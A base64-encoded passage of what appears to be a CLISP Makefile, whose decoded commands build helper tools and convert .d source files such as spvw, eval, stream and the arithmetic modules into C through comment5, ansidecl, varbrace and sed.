RkkgIGFuc2lkZWNsLmMgLW8gYW5zaWRlY2wKCXJtIC1mIGFuc2lkZWNsLmMKCS4vY29tbWVudDUg Li4vdXRpbHMvdmFyYnJhY2UuZCB8IC4vYW5zaWRlY2wgPiB2YXJicmFjZS5jCgljYyAtQWUgLVdw LC1IMTA0ODU3NiAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAgdmFyYnJhY2UuYyAtbyB2YXJicmFj ZQoJcm0gLWYgdmFyYnJhY2UuYwoJLi9hbnNpZGVjbCA8IC4uL3V0aWxzL3R4dDJjLmMgPiB0eHQy Yy5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAgdHh0MmMu YyAtbyB0eHQyYwoJcm0gLWYgdHh0MmMuYwoJLi9jb21tZW50NSAuLi91dGlscy9jY21wMmMuZCB8 IC4vYW5zaWRlY2wgPiBjY21wMmMuYwoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLURVTklDT0RFIC1E RFlOQU1JQ19GRkkgIC1JLiBjY21wMmMuYyAtbyBjY21wMmMKCXJtIC1mIGNjbXAyYy5jCgkuL2Nv bW1lbnQ1IC4uL3V0aWxzL21vZHByZXAuZCB8IC4vYW5zaWRlY2wgPiBtb2RwcmVwLmMKCWNjIC1B ZSAtV3AsLUgxMDQ4NTc2IC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJICBtb2RwcmVwLmMgLW8gbW9k cHJlcAoJcm0gLWYgbW9kcHJlcC5jCgl0ZXN0IC1kIGJpbmRpbmdzIHx8IG1rZGlyIGJpbmRpbmdz CgkuL2NvbW1lbnQ1IHNwdncuZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdz LywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IHNwdncuYwoJLi9jb21tZW50NSBz cHZ3dGFiZi5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFf KS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gc3B2d3RhYmYuYwoJLi9jb21tZW50NSBzcHZ3dGFi cy5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAt ZSAncy8sLC8sX0VNQV8sL2cnID4gc3B2d3RhYnMuYwoJLi9jb21tZW50NSBzcHZ3dGFiby5kIHwg Li9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8s LC8sX0VNQV8sL2cnID4gc3B2d3RhYm8uYwoJLi9jb21tZW50NSBldmFsLmQgfCAuL2Fuc2lkZWNs IHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywv ZycgPiBldmFsLmMKCS4vY29tbWVudDUgY29udHJvbC5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJh Y2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gY29udHJv bC5jCgkuL2NvbW1lbnQ1IGVuY29kaW5nLmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNl ZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycgPiBlbmNvZGluZy5jCgku L2NvbW1lbnQ1IHBhdGhuYW1lLmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAn cy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycgPiBwYXRobmFtZS5jCgkuL2NvbW1l bnQ1IHN0cmVhbS5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9F TUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gc3RyZWFtLmMKCS4vY29tbWVudDUgc29ja2V0 LmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1l ICdzLywsLyxfRU1BXywvZycgPiBzb2NrZXQuYwoJLi9jb21tZW50NSBpby5kIHwgLi9hbnNpZGVj bCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8s L2cnID4gaW8uYwoJLi9jb21tZW50NSBhcnJheS5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2Ug fCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gYXJyYXkuYwoJ Li9jb21tZW50NSBoYXNodGFibC5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUg J3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gaGFzaHRhYmwuYwoJLi9jb21t ZW50NSBsaXN0LmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VN QV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycgPiBsaXN0LmMKCS4vY29tbWVudDUgcGFja2FnZS5k IHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAn cy8sLC8sX0VNQV8sL2cnID4gcGFja2FnZS5jCgkuL2NvbW1lbnQ1IHJlY29yZC5kIHwgLi9hbnNp ZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VN QV8sL2cnID4gcmVjb3JkLmMKCS4vY29tbWVudDUgc2VxdWVuY2UuZCB8IC4vYW5zaWRlY2wgfCAu L3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+ IHNlcXVlbmNlLmMKCS4vY29tbWVudDUgY2hhcnN0cmcuZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJy YWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGNoYXJz dHJnLmMKCS4vY29tbWVudDUgZGVidWcuZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2Vk IC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGRlYnVnLmMKCS4vY29t bWVudDUgZXJyb3IuZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxf RU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGVycm9yLmMKCS4vY29tbWVudDUgbWlzYy5k IHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAn cy8sLC8sX0VNQV8sL2cnID4gbWlzYy5jCgkuL2NvbW1lbnQ1IHRpbWUuZCB8IC4vYW5zaWRlY2wg fCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9n JyA+IHRpbWUuYwoJLi9jb21tZW50NSBwcmVkdHlwZS5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJh Y2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gcHJlZHR5 cGUuYwoJLi9jb21tZW50NSBzeW1ib2wuZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2Vk IC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IHN5bWJvbC5jCgkuL2Nv bW1lbnQ1IGxpc3Bhcml0LmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8s KS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycgPiBsaXNwYXJpdC5jCgkuL2NvbW1lbnQ1 IGZvcmVpZ24uZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1B XykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGZvcmVpZ24uYwoJLi9jb21tZW50NSB1bml4YXV4 LmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1l ICdzLywsLyxfRU1BXywvZycgPiB1bml4YXV4LmMKCS4vY29tbWVudDUgbGlzcGJpYmwuZCB8IC4v YW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwv LF9FTUFfLC9nJyA+IGxpc3BiaWJsLmMKCS4vY29tbWVudDUgZnN1YnIuZCB8IC4vYW5zaWRlY2wg fCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9n JyA+IGZzdWJyLmMKCS4vY29tbWVudDUgc3Vici5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2Ug fCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gc3Vici5jCgku L2NvbW1lbnQ1IHBzZXVkb2Z1bi5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUg J3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gcHNldWRvZnVuLmMKCS4vY29t bWVudDUgY29uc3RzeW0uZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywp LyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGNvbnN0c3ltLmMKCS4vY29tbWVudDUg Y29uc3RvYmouZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1B XykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGNvbnN0b2JqLmMKCS4vY29tbWVudDUgdW5peC5k IHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAn cy8sLC8sX0VNQV8sL2cnID4gdW5peC5jCgkuL2NvbW1lbnQ1IHh0aHJlYWQuZCB8IC4vYW5zaWRl Y2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFf LC9nJyA+IHh0aHJlYWQuYwoJLi9jb21tZW50NSBjb25zdHBhY2suZCB8IC4vYW5zaWRlY2wgfCAu L3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+ IGNvbnN0cGFjay5jCgkuL2NvbW1lbnQ1IGF2bC5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2Ug fCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gYXZsLmMKCS4v Y29tbWVudDUgc29ydC5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkv LF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gc29ydC5jCgkuL2NvbW1lbnQ1IHN1YnJr dy5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAt ZSAncy8sLC8sX0VNQV8sL2cnID4gc3Vicmt3LmMKCS4vY29tbWVudDUgYnl0ZWNvZGUuZCB8IC4v YW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwv LF9FTUFfLC9nJyA+IGJ5dGVjb2RlLmMKCS4vY29tbWVudDUgc3B2d19tb2R1bGUuZCB8IC4vYW5z aWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9F TUFfLC9nJyA+IHNwdndfbW9kdWxlLmMKCS4vY29tbWVudDUgc3B2d19kZWJ1Zy5kIHwgLi9hbnNp ZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VN QV8sL2cnID4gc3B2d19kZWJ1Zy5jCgkuL2NvbW1lbnQ1IHNwdndfYWxsb2NhLmQgfCAuL2Fuc2lk ZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1B XywvZycgPiBzcHZ3X2FsbG9jYS5jCgkuL2NvbW1lbnQ1IHNwdndfbW1hcC5kIHwgLi9hbnNpZGVj bCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8s L2cnID4gc3B2d19tbWFwLmMKCS4vY29tbWVudDUgc3B2d19tdWx0aW1hcC5kIHwgLi9hbnNpZGVj bCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8s L2cnID4gc3B2d19tdWx0aW1hcC5jCgkuL2NvbW1lbnQ1IHNwdndfc2luZ2xlbWFwLmQgfCAuL2Fu c2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxf RU1BXywvZycgPiBzcHZ3X3NpbmdsZW1hcC5jCgkuL2NvbW1lbnQ1IHNwdndfcGFnZS5kIHwgLi9h bnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8s X0VNQV8sL2cnID4gc3B2d19wYWdlLmMKCS4vY29tbWVudDUgc3B2d19oZWFwLmQgfCAuL2Fuc2lk ZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1B XywvZycgPiBzcHZ3X2hlYXAuYwoJLi9jb21tZW50NSBzcHZ3X2dsb2JhbC5kIHwgLi9hbnNpZGVj bCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8s L2cnID4gc3B2d19nbG9iYWwuYwoJLi9jb21tZW50NSBzcHZ3X2djc3RhdC5kIHwgLi9hbnNpZGVj bCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8s L2cnID4gc3B2d19nY3N0YXQuYwoJLi9jb21tZW50NSBzcHZ3X3NwYWNlLmQgfCAuL2Fuc2lkZWNs IHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywv ZycgPiBzcHZ3X3NwYWNlLmMKCS4vY29tbWVudDUgc3B2d19tYXJrLmQgfCAuL2Fuc2lkZWNsIHwg Li92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycg PiBzcHZ3X21hcmsuYwoJLi9jb21tZW50NSBzcHZ3X29ianNpemUuZCB8IC4vYW5zaWRlY2wgfCAu L3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+ IHNwdndfb2Jqc2l6ZS5jCgkuL2NvbW1lbnQ1IHNwdndfdXBkYXRlLmQgfCAuL2Fuc2lkZWNsIHwg Li92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycg PiBzcHZ3X3VwZGF0ZS5jCgkuL2NvbW1lbnQ1IHNwdndfZmF1bHQuZCB8IC4vYW5zaWRlY2wgfCAu L3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+ IHNwdndfZmF1bHQuYwoJLi9jb21tZW50NSBzcHZ3X3NpZ3NlZ3YuZCB8IC4vYW5zaWRlY2wgfCAu L3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+ IHNwdndfc2lnc2Vndi5jCgkuL2NvbW1lbnQ1IHNwdndfc2lnY2xkLmQgfCAuL2Fuc2lkZWNsIHwg Li92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycg PiBzcHZ3X3NpZ2NsZC5jCgkuL2NvbW1lbnQ1IHNwdndfc2lncGlwZS5kIHwgLi9hbnNpZGVjbCB8 IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cn ID4gc3B2d19zaWdwaXBlLmMKCS4vY29tbWVudDUgc3B2d19zaWdpbnQuZCB8IC4vYW5zaWRlY2wg fCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9n JyA+IHNwdndfc2lnaW50LmMKCS4vY29tbWVudDUgc3B2d19zaWd3aW5jaC5kIHwgLi9hbnNpZGVj bCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8s L2cnID4gc3B2d19zaWd3aW5jaC5jCgkuL2NvbW1lbnQ1IHNwdndfZ2FyY29sLmQgfCAuL2Fuc2lk ZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1B XywvZycgPiBzcHZ3X2dhcmNvbC5jCgkuL2NvbW1lbnQ1IHNwdndfZ2VuZXJhMS5kIHwgLi9hbnNp ZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VN QV8sL2cnID4gc3B2d19nZW5lcmExLmMKCS4vY29tbWVudDUgc3B2d19nZW5lcmEyLmQgfCAuL2Fu c2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxf RU1BXywvZycgPiBzcHZ3X2dlbmVyYTIuYwoJLi9jb21tZW50NSBzcHZ3X2dlbmVyYTMuZCB8IC4v YW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwv LF9FTUFfLC9nJyA+IHNwdndfZ2VuZXJhMy5jCgkuL2NvbW1lbnQ1IHNwdndfYWxsb2NhdGUuZCB8 IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3Mv LCwvLF9FTUFfLC9nJyA+IHNwdndfYWxsb2NhdGUuYwoJLi9jb21tZW50NSBzcHZ3X3R5cGVhbGxv Yy5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAt ZSAncy8sLC8sX0VNQV8sL2cnID4gc3B2d190eXBlYWxsb2MuYwoJLi9jb21tZW50NSBzcHZ3X2Np cmMuZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycg LWUgJ3MvLCwvLF9FTUFfLC9nJyA+IHNwdndfY2lyYy5jCgkuL2NvbW1lbnQ1IHNwdndfd2Fsay5k IHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAn cy8sLC8sX0VNQV8sL2cnID4gc3B2d193YWxrLmMKCS4vY29tbWVudDUgc3B2d19jdHlwZS5kIHwg Li9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8s LC8sX0VNQV8sL2cnID4gc3B2d19jdHlwZS5jCgkuL2NvbW1lbnQ1IHNwdndfbGFuZ3VhZ2UuZCB8 IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3Mv LCwvLF9FTUFfLC9nJyA+IHNwdndfbGFuZ3VhZ2UuYwoJLi9jb21tZW50NSBzcHZ3X21lbWZpbGUu ZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUg J3MvLCwvLF9FTUFfLC9nJyA+IHNwdndfbWVtZmlsZS5jCgkuL2NvbW1lbnQ1IGVycnVuaXguZCB8 IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3Mv LCwvLF9FTUFfLC9nJyA+IGVycnVuaXguYwoJLi9jb21tZW50NSBhcmlkZWNsLmQgfCAuL2Fuc2lk ZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1B XywvZycgPiBhcmlkZWNsLmMKCS4vY29tbWVudDUgYXJpbGV2MC5kIHwgLi9hbnNpZGVjbCB8IC4v dmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4g YXJpbGV2MC5jCgkuL2NvbW1lbnQ1IGFyaWxldjEuZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNl IHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGFyaWxldjEu YwoJLi9jb21tZW50NSBpbnRlbGVtLmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAt ZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycgPiBpbnRlbGVtLmMKCS4vY29t bWVudDUgaW50bG9nLmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8s X0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycgPiBpbnRsb2cuYwoJLi9jb21tZW50NSBpbnRw bHVzLmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cn IC1lICdzLywsLyxfRU1BXywvZycgPiBpbnRwbHVzLmMKCS4vY29tbWVudDUgaW50Y29tcC5kIHwg Li9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8s LC8sX0VNQV8sL2cnID4gaW50Y29tcC5jCgkuL2NvbW1lbnQ1IGludGJ5dGUuZCB8IC4vYW5zaWRl Y2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFf LC9nJyA+IGludGJ5dGUuYwoJLi9jb21tZW50NSBpbnRtYWwuZCB8IC4vYW5zaWRlY2wgfCAuL3Zh cmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGlu dG1hbC5jCgkuL2NvbW1lbnQ1IGludGRpdi5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBz ZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gaW50ZGl2LmMKCS4v Y29tbWVudDUgaW50Z2NkLmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8s KS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycgPiBpbnRnY2QuYwoJLi9jb21tZW50NSBp bnQyYWRpYy5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFf KS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gaW50MmFkaWMuYwoJLi9jb21tZW50NSBpbnRzcXJ0 LmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1l ICdzLywsLyxfRU1BXywvZycgPiBpbnRzcXJ0LmMKCS4vY29tbWVudDUgaW50cHJpbnQuZCB8IC4v YW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwv LF9FTUFfLC9nJyA+IGludHByaW50LmMKCS4vY29tbWVudDUgaW50cmVhZC5kIHwgLi9hbnNpZGVj bCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8s L2cnID4gaW50cmVhZC5jCgkuL2NvbW1lbnQ1IHJhdGlvbmFsLmQgfCAuL2Fuc2lkZWNsIHwgLi92 YXJicmFjZSB8IHNlZCAtZSAncy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycgPiBy YXRpb25hbC5jCgkuL2NvbW1lbnQ1IHNmbG9hdC5kIHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2Ug fCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAncy8sLC8sX0VNQV8sL2cnID4gc2Zsb2F0LmMK CS4vY29tbWVudDUgZmZsb2F0LmQgfCAuL2Fuc2lkZWNsIHwgLi92YXJicmFjZSB8IHNlZCAtZSAn cy8sKS8sX0VNQV8pL2cnIC1lICdzLywsLyxfRU1BXywvZycgPiBmZmxvYXQuYwoJLi9jb21tZW50 NSBkZmxvYXQuZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1B XykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGRmbG9hdC5jCgkuL2NvbW1lbnQ1IGxmbG9hdC5k IHwgLi9hbnNpZGVjbCB8IC4vdmFyYnJhY2UgfCBzZWQgLWUgJ3MvLCkvLF9FTUFfKS9nJyAtZSAn cy8sLC8sX0VNQV8sL2cnID4gbGZsb2F0LmMKCS4vY29tbWVudDUgZmxvX2tvbnYuZCB8IC4vYW5z aWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9F TUFfLC9nJyA+IGZsb19rb252LmMKCS4vY29tbWVudDUgZmxvX3Jlc3QuZCB8IC4vYW5zaWRlY2wg fCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9n JyA+IGZsb19yZXN0LmMKCS4vY29tbWVudDUgcmVhbGVsZW0uZCB8IC4vYW5zaWRlY2wgfCAuL3Zh cmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IHJl YWxlbGVtLmMKCS4vY29tbWVudDUgcmVhbHJhbmQuZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNl IHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IHJlYWxyYW5k LmMKCS4vY29tbWVudDUgcmVhbHRyYW4uZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2Vk IC1lICdzLywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IHJlYWx0cmFuLmMKCS4v Y29tbWVudDUgY29tcGVsZW0uZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdz LywpLyxfRU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGNvbXBlbGVtLmMKCS4vY29tbWVu dDUgY29tcHRyYW4uZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxf RU1BXykvZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGNvbXB0cmFuLmMKCS4vY29tbWVudDUgYXJp bGV2MWMuZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykv ZycgLWUgJ3MvLCwvLF9FTUFfLC9nJyA+IGFyaWxldjFjLmMKCS4vY29tbWVudDUgYXJpbGV2MWUu ZCB8IC4vYW5zaWRlY2wgfCAuL3ZhcmJyYWNlIHwgc2VkIC1lICdzLywpLyxfRU1BXykvZycgLWUg 